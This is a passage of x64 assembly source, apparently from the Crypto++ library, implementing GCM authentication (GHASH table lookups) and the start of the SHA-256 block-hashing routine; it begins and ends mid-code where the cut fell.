and eax, ebx
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
movdqa xmm5, XMMWORD PTR [rsi + 32 + 1024 + rdi]
movzx edi, al
movdqa xmm4, XMMWORD PTR [rsi + 32 + 1024 + rdi]
shr eax, 16
movzx edi, ah
movdqa xmm3, XMMWORD PTR [rsi + 32 + 1024 + rdi]
movzx edi, al
movdqa xmm2, XMMWORD PTR [rsi + 32 + 1024 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi]
psrldq xmm0, 4
movd eax, xmm0
and eax, 0f0f0f0f0h
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx edi, ah
pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, al
pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
shr eax, 16
movzx edi, ah
pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, al
pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi]
movzx edi, bh
pxor xmm5, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movzx edi, bl
pxor xmm4, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
shr ebx, 16
movzx edi, bh
pxor xmm3, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movzx edi, bl
pxor xmm2, XMMWORD PTR [rsi + 32 + 3*256 + rdi]
movdqa xmm0, xmm3
pslldq xmm3, 1
pxor xmm2, xmm3
movdqa xmm1, xmm2
pslldq xmm2, 1
pxor xmm5, xmm2
psrldq xmm0, 15
movd rdi, xmm0
movzx eax, WORD PTR [r11 + rdi*2]
shl eax, 8
movdqa xmm0, xmm5
pslldq xmm5, 1
pxor xmm4, xmm5
psrldq xmm1, 15
movd rdi, xmm1
xor ax, WORD PTR [r11 + rdi*2]
shl eax, 8
psrldq xmm0, 15
movd rdi, xmm0
xor ax, WORD PTR [r11 + rdi*2]
movd xmm0, eax
pxor xmm0, xmm4
add rcx, 16
sub rdx, 1
jnz label0
movdqa [rsi], xmm0
pop rbx
pop rdi
pop rsi
ret
GCM_AuthenticateBlocks_2K ENDP
ALIGN 8
GCM_AuthenticateBlocks_64K PROC FRAME
rex_push_reg rsi
push_reg rdi
.endprolog
mov rsi, r8
movdqa xmm0, [rsi]
label1:
movdqu xmm1, [rcx]
pxor xmm1, xmm0
pxor xmm0, xmm0
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (0*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (1*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+3)*256*16 + rdi*8]
add rcx, 16
sub rdx, 1
jnz label1
movdqa [rsi], xmm0
pop rdi
pop rsi
ret
GCM_AuthenticateBlocks_64K ENDP
ALIGN 8
X86_SHA256_HashBlocks PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
push_reg rbp
alloc_stack(8*4 + 16*4 + 4*8 + 8)
.endprolog
mov rdi, r8
lea rsi, [?SHA256_K@CryptoPP@@3QBIB + 48*4]
mov [rsp+8*4+16*4+1*8], rcx
mov [rsp+8*4+16*4+2*8], rdx
add rdi, rdx
mov [rsp+8*4+16*4+3*8], rdi
movdqa xmm0, XMMWORD PTR [rcx+0*16]
movdqa xmm1, XMMWORD PTR [rcx+1*16]
mov [rsp+8*4+16*4+0*8], rsi
label0:
sub rsi, 48*4
movdqa [rsp+((1024+7-(0+3)) MOD (8))*4], xmm1
movdqa [rsp+((1024+7-(0+7)) MOD (8))*4], xmm0
mov rbx, [rdx+0*8]
bswap rbx
mov [rsp+8*4+((1024+15-(0*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+1*8]
bswap rbx
mov [rsp+8*4+((1024+15-(1*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+2*8]
bswap rbx
mov [rsp+8*4+((1024+15-(2*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+3*8]
bswap rbx
mov [rsp+8*4+((1024+15-(3*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+4*8]
bswap rbx
mov [rsp+8*4+((1024+15-(4*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+5*8]
bswap rbx
mov [rsp+8*4+((1024+15-(5*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+6*8]
bswap rbx
mov [rsp+8*4+((1024+15-(6*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+7*8]
bswap rbx
mov [rsp+8*4+((1024+15-(7*(1+1)+1)) MOD (16))*4], rbx
mov edi, [rsp+((1024+7-(0+3)) MOD (8))*4]
mov eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
xor eax, [rsp+((1024+7-(0+5)) MOD (8))*4]
mov ecx, [rsp+((1024+7-(0+7)) MOD (8))*4]
mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(0)*4]
add edx, [rsp+8*4+((1024+15-(0)) MOD (16))*4]
add edx, [rsp+((1024+7-(0)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(0+4)) MOD (8))*4]
mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(0)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(1)*4]
add edi, [rsp+8*4+((1024+15-(1)) MOD (16))*4]
add edi, [rsp+((1024+7-(1)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(1+4)) MOD (8))*4]
mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(1)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(2)*4]
add edx, [rsp+8*4+((1024+15-(2)) MOD (16))*4]
add edx, [rsp+((1024+7-(2)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(2+4)) MOD (8))*4]
mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(2)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(3)*4]
add edi, [rsp+8*4+((1024+15-(3)) MOD (16))*4]
add edi, [rsp+((1024+7-(3)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(3+4)) MOD (8))*4]
mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(3)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(4)*4]
add edx, [rsp+8*4+((1024+15-(4)) MOD (16))*4]
add edx, [rsp+((1024+7-(4)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(4+4)) MOD (8))*4]
mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(4)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(5)*4]
add edi, [rsp+8*4+((1024+15-(5)) MOD (16))*4]
add edi, [rsp+((1024+7-(5)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(5+4)) MOD (8))*4]
mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(5)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(6)*4]
add edx, [rsp+8*4+((1024+15-(6)) MOD (16))*4]
add edx, [rsp+((1024+7-(6)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(6+4)) MOD (8))*4]
mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(6)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(7)*4]
add edi, [rsp+8*4+((1024+15-(7)) MOD (16))*4]
add edi, [rsp+((1024+7-(7)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(7+4)) MOD (8))*4]
mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(7)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(8)*4]
add edx, [rsp+8*4+((1024+15-(8)) MOD (16))*4]
add edx, [rsp+((1024+7-(8)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(8+4)) MOD (8))*4]
mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(8)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(9)*4]
add edi, [rsp+8*4+((1024+15-(9)) MOD (16))*4]
add edi, [rsp+((1024+7-(9)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(9+4)) MOD (8))*4]
mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(9)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(10)*4]
add edx, [rsp+8*4+((1024+15-(10)) MOD (16))*4]
add edx, [rsp+((1024+7-(10)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(10+4)) MOD (8))*4]
mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(10)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(11)*4]
add edi, [rsp+8*4+((1024+15-(11)) MOD (16))*4]
add edi, [rsp+((1024+7-(11)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(11+4)) MOD (8))*4]
mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(11)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(12)*4]
add edx, [rsp+8*4+((1024+15-(12)) MOD (16))*4]
add edx, [rsp+((1024+7-(12)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(12+4)) MOD (8))*4]
mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(12)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(13)*4]
add edi, [rsp+8*4+((1024+15-(13)) MOD (16))*4]
add edi, [rsp+((1024+7-(13)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(13+4)) MOD (8))*4]
mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(13)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(14)*4]
add edx, [rsp+8*4+((1024+15-(14)) MOD (16))*4]
add edx, [rsp+((1024+7-(14)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(14+4)) MOD (8))*4]
mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(14)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(15)*4]
add edi, [rsp+8*4+((1024+15-(15)) MOD (16))*4]
add edi, [rsp+((1024+7-(15)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(15+4)) MOD (8))*4]
mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(15)) MOD (8))*4], ecx
label1:
add rsi, 4*16
mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((0)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((0)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((0)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(0)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(0)*4]
ror edi, 11
add edx, [rsp+((1024+7-(0)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(0)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(0+4)) MOD (8))*4]
mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(0)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((1)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((1)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((1)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(1)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(1)*4]
ror edx, 11
add edi, [rsp+((1024+7-(1)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(1)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(1+4)) MOD (8))*4]
mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(1)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((2)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((2)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((2)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(2)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(2)*4]
ror edi, 11
add edx, [rsp+((1024+7-(2)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(2)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(2+4)) MOD (8))*4]
mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(2)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((3)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((3)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((3)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(3)) MOD (16))*4]
xor ebp, edx
